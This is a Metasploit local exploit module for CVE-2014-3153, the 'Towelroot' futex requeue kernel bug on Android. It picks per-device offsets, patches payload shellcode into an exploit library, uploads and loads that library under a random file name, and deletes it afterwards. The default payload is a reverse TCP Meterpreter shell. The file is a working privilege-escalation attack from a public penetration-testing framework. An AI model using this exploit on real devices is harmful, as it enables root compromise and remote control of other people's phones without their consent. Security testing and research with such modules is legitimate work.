## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Common prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, { 'Name' => "Android 'Towelroot' Futex Requeue Kernel Exploit", 'Description' => %q{ This module exploits a bug in futex_requeue in the Linux kernel, using similar techniques employed by the towelroot exploit. Any Android device with a kernel built before June 2014 is likely to be vulnerable. }, 'License' => MSF_LICENSE, 'Author' => [ 'Pinkie Pie', # discovery 'geohot', # towelroot 'timwr' # metasploit module ], 'References' => [ [ 'CVE', '2014-3153' ], [ 'URL', 'http://tinyhack.com/2014/07/07/exploiting-the-futex-bug-and-uncovering-towelroot/' ], [ 'URL', 'http://web.archive.org/web/20160912014145/http://blog.nativeflow.com:80/the-futex-vulnerability' ], ], 'DisclosureDate' => '2014-05-03', 'SessionTypes' => [ 'meterpreter' ], 'Platform' => [ 'android', 'linux' ], 'Payload' => { 'Space' => 2048 }, 'DefaultOptions' => { 'WfsDelay' => 300, 'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp' }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [], 'Reliability' => [], 'AKA' => ['towelroot'] }, 'DefaultTarget' => 0, 'Targets' => [ # Automatic targetting via getprop ro.build.model ['Automatic Targeting', { 'auto' => true }], # This is the default setting, Nexus 4, 5, 7, etc [ 'Default', { 'new_samsung' => false, 'iovstack' => 2, 'offset' => 0, 'force_remove' => false } ], # Samsung devices, S3, S4, S5, etc [ 'New Samsung', { 'new_samsung' => true, 'iovstack' => 2, 'offset' => 7380, 'force_remove' => true } ], # Older Samsung devices, e.g the Note 2 [ 'Old Samsung', { 'new_samsung' => false, 'iovstack' => 1, 'offset' => 0, 'force_remove' => true } ], # Samsung Galaxy Grand, etc [ 'Samsung Grand', { 'new_samsung' => false, 'iovstack' => 5, 'offset' => 0, 'force_remove' => true } ], ], 'Compat' => { 'Meterpreter' => { 'Commands' => %w[ core_loadlib stdapi_fs_delete_file stdapi_fs_getwd ] } } } ) ) end def check os = cmd_exec('getprop ro.build.version.release') unless Rex::Version.new(os) < Rex::Version.new('4.5.0') vprint_error "Android version #{os} does not appear to be vulnerable" return CheckCode::Safe end vprint_good "Android version #{os} appears to be vulnerable" CheckCode::Appears end def exploit if target['auto'] product = cmd_exec('getprop ro.build.product') fingerprint = cmd_exec('getprop ro.build.fingerprint') print_status("Found device: #{product}") print_status("Fingerprint: #{fingerprint}") if [ 'mako', 'm7', 'hammerhead', 'grouper', 'Y530-U00', 'G6-U10', 'g2', 'w7n', 'D2303', 'cancro', ].include? product my_target = targets[1] # Default elsif [ 'klte', # Samsung Galaxy S5 'jflte', # Samsung Galaxy S4 'd2vzw' # Samsung Galaxy S3 Verizon (SCH-I535 w/ android 4.4.2, kernel 3.4.0) ].include? product my_target = targets[2] # New Samsung elsif [ 't03g', 'm0', ].include? product my_target = targets[3] # Old Samsung elsif [ 'baffinlite', 'Vodafone_785', ].include? product my_target = targets[4] # Samsung Grand else print_status("Could not automatically target #{product}") my_target = targets[1] # Default end else my_target = target end print_status("Using target: #{my_target.name}") local_file = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-3153.so') exploit_data = File.read(local_file, mode: 'rb') # Substitute the exploit shellcode with our own space = payload_space payload_encoded = payload.encoded exploit_data.gsub!("\x90" * 4 + "\x00" * (space - 4), payload_encoded + "\x90" * (payload_encoded.length - space)) # Apply the target config offsets = my_target.opts config_buf = [ offsets['new_samsung'] ? -1 : 0, offsets['iovstack'].to_i, offsets['offset'].to_i, offsets['force_remove'] ? -1 : 0, ].pack('I4') exploit_data.gsub!('c0nfig' + "\x00" * 10, config_buf) workingdir = session.fs.dir.getwd remote_file = "#{workingdir}/#{Rex::Text.rand_text_alpha_lower(5)}" write_file(remote_file, exploit_data) print_status("Loading exploit library #{remote_file}") session.core.load_library( 'LibraryFilePath' => local_file, 'TargetFilePath' => remote_file, 'UploadLibrary' => false, 'Extension' => false, 'SaveToDisk' => false ) print_status("Loaded library #{remote_file}, deleting") session.fs.file.rm(remote_file) print_status("Waiting #{datastore['WfsDelay']} seconds for payload") end end